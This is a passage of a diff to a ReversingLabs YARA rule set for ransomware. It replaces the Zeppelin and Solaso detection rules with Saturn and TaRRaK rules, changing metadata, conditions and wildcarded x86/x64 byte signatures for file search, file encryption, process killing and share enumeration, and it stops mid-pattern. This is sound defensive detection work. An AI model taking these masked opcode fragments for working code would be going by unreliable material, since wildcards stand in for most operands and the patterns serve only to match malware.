+            ?? 6A ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 33 C0 5A 59 59 64 89 10 E9 ?? ??
+            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 89
+            45 ?? 8D 45 ?? 50 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D
+            ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 85 C0 0F 82 ?? ?? ?? ?? 40 89 45 ?? 8B 45 ?? 8B
+            58 ?? 85 DB 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B
+            D3 E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 12 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? E8
+            ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 52 ?? 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? B1 ??
+            E8 ?? ?? ?? ?? 8D 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 55 ?? B8 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 55 ?? 8B
+            08 FF 51 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? F7
+            40 ?? ?? ?? ?? ?? 76 ?? 8B 45 ?? E8 ?? ?? ?? ?? 83 45 ?? ?? FF 4D ?? 0F 85 ?? ?? ??
+            ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8
+            ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0
+            5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
+            ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
+        }
 
 	condition:
-		uint16(0)==0x5A4D and $find_files and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Zeppelin : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Saturn : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Zeppelin ransomware."
+		description = "Yara rule that detects Saturn ransomware."
 		author = "ReversingLabs"
-		id = "f5cf514d-4dd0-58b7-82d0-5cb516a139a3"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "70a8d937-aee5-54d8-9409-c5d2d0830a2b"
+		date = "2020-10-19"
+		modified = "2020-10-19"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Zeppelin.yara#L1-L109"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8fb07e49d2ff9d497fb36a5d901748315ae519f5ef845d1a5ec6341d0eb1f68c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Saturn.yara#L1-L105"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "efa748346ad8c46e654542d302e81d633a2d12f421636c477431a12a34636132"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -39920,97 +40494,99 @@ rule REVERSINGLABS_Win32_Ransomware_Zeppelin : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Zeppelin"
+		tc_detection_name = "Saturn"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_files_p1 = {
-            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 45 ?? E8 ??
-            ?? ?? ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 2B D8 43 53 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 42
-            8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 30 FF 75 ?? 68 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 83 F8
-            ?? 7C ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84
-            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            C3
+		$find_files_1 = {
+            6A ?? C6 45 ?? ?? 8D 4D ?? 8B 3B 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 3B C8 74 ??
+            83 78 ?? ?? 8B C8 72 ?? 8B 08 FF 70 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
+            85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45
+            ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45
+            ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A
         }
-		$search_files_p2 = {
-            8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ??
-            ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50
-            8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D
-            ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ??
-            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ??
-            ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C3
+		$find_files_2_p1 = {
+            68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5
+            ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8
+            ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? ?? ?? FF 75
+            ?? 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ??
+            ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D
+            4D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85
+            ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 4D ?? 83 7D ?? ?? 8B 55 ??
+            0F 43 4D ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ??
+            ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50
+            8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ??
+            E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83
         }
-		$kill_processes = {
-            55 8B EC 33 C9 51 51 51 51 51 51 51 51 53 56 57 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ??
-            88 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ??
-            64 FF 32 64 89 22 8D 55 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B D8 8B 45 ?? 89 58 ?? 8B C3 B2 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ??
-            C6 40 ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B F0 85 F6
-            7E ?? BB ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D
-            55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? 8D 55 ?? 8B 45
-            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 40 ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ??
-            EB ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ??
-            ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B1 ?? 33
-            D2 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ??
-            8B 45 ?? 80 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5F
-            5E 5B 8B E5 5D C3
+		$find_files_2_p2 = {
+            F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF
+            15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B F0 80
+            BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ??
+            ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 00
+            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B D0
+            8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? F6
+            85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95
+            ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E9
         }
-		$enum_shares = {
-            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 53 56 57 89 45 ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
-            89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? 33
-            D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 89 45 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B
-            45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 48 85
-            C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 55 ?? 8B 45 ?? 8B
-            18 FF 53 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 33 C0 55 68 ?? ?? ?? ?? 64
-            FF 30 64 89 20 FF 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? 33 D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45
-            ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ??
-            8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89
-            10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? FF 45 ??
-            FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A
-            59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ??
-            ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB
-            ?? 5F 5E 5B 8B E5 5D C3
+		$encrypt_files_p1 = {
+            6A ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 89 9D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 6A ?? FF B5
+            ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
+            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF D6 8B D8
+            83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 57
+            FF D6 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3
+            A5 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ??
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF B5 ?? ?? ?? ?? FF B5 ?? ??
+            ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ??
+            ?? ?? ?? 85 F6 0F 95 C3 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 89 B5 ?? ?? ?? ?? 56 53 FF
         }
-		$encrypt_files = {
-            55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8B D9 88
-            55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C6 E8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 88 5E ?? 88 5E ?? 56 6A ?? 8D 46 ?? 50 B9 ?? ?? ?? ?? 33 D2 33 C0 E8 ??
-            ?? ?? ?? 8B D8 89 5E ?? 85 DB 75 ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 45 ??
-            89 45 ?? C6 45 ?? ?? 8D 45 ?? 50 6A ?? 8B 0D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
-            ?? C3
+		$encrypt_files_p2 = {
+            15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 56 ?? 8B 85 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 C8 8D 85 ?? ?? ?? ??
+            3B 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 6A ?? 0F 44 F2 56 6A ??
+            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85
+            ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 BA ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 FF B5
+            ?? ?? ?? ?? FF D6 B3 ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ??
+            ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77
+            ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B
+            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($kill_processes) and ($enum_shares) and ( all of ($search_files_p*)) and ($encrypt_files)
+		uint16(0)==0x5A4D and ( all of ($find_files_*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win64_Ransomware_Solaso : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Tarrak : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Solaso ransomware."
+		description = "Yara rule that detects TaRRaK ransomware."
 		author = "ReversingLabs"
-		id = "53f56ad8-ccdf-58f0-a5d9-e58f2c18ac76"
-		date = "2021-11-02"
-		modified = "2021-11-02"
+		id = "a783df87-0c9b-5868-9af0-c32b11e8b71b"
+		date = "2021-09-06"
+		modified = "2021-09-06"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.Solaso.yara#L1-L171"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "368a80a9f2e264d17c61d6ed4c22baec838ba0b0bc2e5c79344830bf861aa5a2"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.TaRRaK.yara#L1-L96"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a8c4c4a501d94da94ae4a2e1eb2846e841249659be64dd45f46584885d000635"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -40018,161 +40594,81 @@ rule REVERSINGLABS_Win64_Ransomware_Solaso : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Solaso"
+		tc_detection_name = "TaRRaK"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files_p1 = {
-            C6 85 ?? ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 45 ?? 4C 89 AD ?? ?? ?? ?? 48 8D 85
-            ?? ?? ?? ?? 48 89 45 ?? B1 ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 90 4C 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 4C 8D
-            85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8B BD
-            ?? ?? ?? ?? 4C 8B BD ?? ?? ?? ?? 49 3B FF 0F 84 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 8D
-            95 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 90 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ??
-            ?? 48 0F 43 95 ?? ?? ?? ?? 4C 8B 85 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8B C8 E8 ?? ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85
-            ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 48 0F 43 95 ?? ?? ?? ??
-            4C 8B 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B CF 48 83 7F ?? ?? 72
-            ?? 48 8B 0F BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
-            48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 89 AD ??
-            ?? ?? ?? 4C 89 AD ?? ?? ?? ?? 48 8B B5 ?? ?? ?? ?? 4C 8D B5 ?? ?? ?? ?? 48 83 BD ??
-            ?? ?? ?? ?? 4C 0F 43 B5 ?? ?? ?? ?? 48 83 FE ?? 73 ?? 41 0F 10 06 0F 11 85 ?? ?? ??
-            ?? 48 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48
-        }
-		$find_files_p2 = {
-            8B DE 48 83 CB ?? 48 3B D8 48 0F 47 D8 48 8D 4B ?? 48 81 F9 ?? ?? ?? ?? 72 ?? 48 8D
-            41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 0F AE E8 48 8B C8 E8 ?? ?? ?? ?? 48 8B C8 48 85 C0
-            0F 84 ?? ?? ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 48 85 C9 74 ?? 0F AE E8
-            E8 ?? ?? ?? ?? EB ?? 49 8B C5 48 89 85 ?? ?? ?? ?? 4C 8D 46 ?? 49 8B D6 48 8B C8 E8
